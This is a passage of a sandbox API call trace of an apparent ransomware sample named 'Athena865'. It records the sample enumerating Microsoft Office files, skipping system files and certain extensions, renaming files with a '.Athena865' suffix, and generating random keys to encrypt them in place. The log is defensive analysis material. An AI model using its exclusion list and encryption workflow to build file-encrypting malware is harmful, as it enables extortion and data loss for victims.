lpString2="boot") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="ids.txt") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="ntuser.dat") returned -1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="perflogs") returned -1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="MSBuild") returned 1 [0076.370] lstrlenW (lpString="mset7en.kic") returned 11 [0076.370] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7en.kic" | out: lpString1="mset7en.kic") returned="mset7en.kic" [0076.370] lstrlenW (lpString="mset7en.kic") returned 11 [0076.370] lstrlenW (lpString="Athena865") returned 9 [0076.370] lstrcmpiW (lpString1="et7en.kic", lpString2="Athena865") returned 1 [0076.370] lstrlenW (lpString=".dll") returned 4 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2=".dll") returned 1 [0076.370] lstrlenW (lpString=".lnk") returned 4 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2=".lnk") returned 1 [0076.370] lstrlenW (lpString=".ini") returned 4 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2=".ini") returned 1 [0076.370] lstrlenW (lpString=".sys") returned 4 [0076.371] lstrcmpiW (lpString1="mset7en.kic", lpString2=".sys") returned 1 [0076.371] lstrlenW (lpString="mset7en.kic") returned 11 [0076.371] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.Athena865") returned 64 [0076.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.athena865"), dwFlags=0x1) returned 1 [0076.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.373] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1858366) returned 1 [0076.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.373] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.374] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.374] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.374] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c5e40, lpName=0x0) returned 0x17c [0076.376] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c5e40) returned 0x2d50000 [0076.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.435] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.435] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.436] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.452] CloseHandle (hObject=0x17c) returned 1 [0076.452] CloseHandle (hObject=0x154) returned 1 [0076.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.460] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2=".") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="..") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="windows") returned -1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="bootmgr") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="temp") returned -1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="pagefile.sys") returned -1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="boot") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="ids.txt") returned 1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="ntuser.dat") returned -1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="perflogs") returned -1 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2="MSBuild") returned 1 [0076.460] lstrlenW (lpString="mset7es.kic") returned 11 [0076.460] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7es.kic" | out: lpString1="mset7es.kic") returned="mset7es.kic" [0076.460] lstrlenW (lpString="mset7es.kic") returned 11 [0076.460] lstrlenW (lpString="Athena865") returned 9 [0076.460] lstrcmpiW (lpString1="et7es.kic", lpString2="Athena865") returned 1 [0076.460] lstrlenW (lpString=".dll") returned 4 [0076.460] lstrcmpiW (lpString1="mset7es.kic", lpString2=".dll") returned 1 [0076.460] lstrlenW (lpString=".lnk") returned 4 [0076.461] lstrcmpiW (lpString1="mset7es.kic", lpString2=".lnk") returned 1 [0076.461] lstrlenW (lpString=".ini") returned 4 [0076.461] lstrcmpiW (lpString1="mset7es.kic", lpString2=".ini") returned 1 [0076.461] lstrlenW (lpString=".sys") returned 4 [0076.461] lstrcmpiW (lpString1="mset7es.kic", lpString2=".sys") returned 1 [0076.461] lstrlenW (lpString="mset7es.kic") returned 11 [0076.461] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic.Athena865") returned 64 [0076.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic.athena865"), dwFlags=0x1) returned 1 [0076.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.462] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1305074) returned 1 [0076.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.463] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.463] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.463] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.464] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13ed00, lpName=0x0) returned 0x17c [0076.465] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13ed00) returned 0x2d50000 [0076.509] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.510] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.510] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.511] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.523] CloseHandle (hObject=0x17c) returned 1 [0076.523] CloseHandle (hObject=0x154) returned 1 [0076.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.529] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="..") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="windows") returned -1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="bootmgr") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="temp") returned -1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="pagefile.sys") returned -1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="boot") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="ids.txt") returned 1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="ntuser.dat") returned -1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="perflogs") returned -1 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2="MSBuild") returned 1 [0076.529] lstrlenW (lpString="mset7fr.kic") returned 11 [0076.529] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7fr.kic" | out: lpString1="mset7fr.kic") returned="mset7fr.kic" [0076.529] lstrlenW (lpString="mset7fr.kic") returned 11 [0076.529] lstrlenW (lpString="Athena865") returned 9 [0076.529] lstrcmpiW (lpString1="et7fr.kic", lpString2="Athena865") returned 1 [0076.529] lstrlenW (lpString=".dll") returned 4 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".dll") returned 1 [0076.529] lstrlenW (lpString=".lnk") returned 4 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".lnk") returned 1 [0076.529] lstrlenW (lpString=".ini") returned 4 [0076.529] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".ini") returned 1 [0076.530] lstrlenW (lpString=".sys") returned 4 [0076.530] lstrcmpiW (lpString1="mset7fr.kic", lpString2=".sys") returned 1 [0076.530] lstrlenW (lpString="mset7fr.kic") returned 11 [0076.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.Athena865") returned 64 [0076.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.athena865"), dwFlags=0x1) returned 1 [0076.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.531] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1854492) returned 1 [0076.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.531] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.532] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.532] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.532] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c4f20, lpName=0x0) returned 0x17c [0076.534] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c4f20) returned 0x2d50000 [0076.594] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.595] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.595] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.596] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.612] CloseHandle (hObject=0x17c) returned 1 [0076.612] CloseHandle (hObject=0x154) returned 1 [0076.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.620] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".") returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="..") returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="windows") returned -1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="bootmgr") returned 1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="temp") returned -1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="pagefile.sys") returned -1 [0076.620] lstrcmpiW (lpString1="mset7ge.kic", lpString2="boot") returned 1 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2="ids.txt") returned 1 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2="ntuser.dat") returned -1 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2="perflogs") returned -1 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2="MSBuild") returned 1 [0076.621] lstrlenW (lpString="mset7ge.kic") returned 11 [0076.621] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7ge.kic" | out: lpString1="mset7ge.kic") returned="mset7ge.kic" [0076.621] lstrlenW (lpString="mset7ge.kic") returned 11 [0076.621] lstrlenW (lpString="Athena865") returned 9 [0076.621] lstrcmpiW (lpString1="et7ge.kic", lpString2="Athena865") returned 1 [0076.621] lstrlenW (lpString=".dll") returned 4 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".dll") returned 1 [0076.621] lstrlenW (lpString=".lnk") returned 4 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".lnk") returned 1 [0076.621] lstrlenW (lpString=".ini") returned 4 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".ini") returned 1 [0076.621] lstrlenW (lpString=".sys") returned 4 [0076.621] lstrcmpiW (lpString1="mset7ge.kic", lpString2=".sys") returned 1 [0076.621] lstrlenW (lpString="mset7ge.kic") returned 11 [0076.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.Athena865") returned 64 [0076.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.athena865"), dwFlags=0x1) returned 1 [0076.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.623] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3499942) returned 1 [0076.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.625] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.625] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.625] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x356ab0, lpName=0x0) returned 0x17c [0076.627] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x156ab0) returned 0x2d50000 [0076.754] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.755] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.755] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.755] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.767] CloseHandle (hObject=0x17c) returned 1 [0076.768] CloseHandle (hObject=0x154) returned 1 [0076.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.776] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2=".") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="..") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="windows") returned -1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="bootmgr") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="temp") returned -1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="pagefile.sys") returned -1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="boot") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="ids.txt") returned 1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="ntuser.dat") returned -1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="perflogs") returned -1 [0076.777] lstrcmpiW (lpString1="mset7jp.kic", lpString2="MSBuild") returned 1 [0076.777] lstrlenW (lpString="mset7jp.kic") returned 11 [0076.777] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7jp.kic" | out: lpString1="mset7jp.kic") returned="mset7jp.kic" [0076.777] lstrlenW (lpString="mset7jp.kic") returned 11 [0076.777] lstrlenW (lpString="Athena865") returned 9 [0076.777] lstrcmpiW (lpString1="et7jp.kic", lpString2="Athena865") returned 1 [0076.777] lstrlenW (lpString=".dll") returned 4 [0076.777] 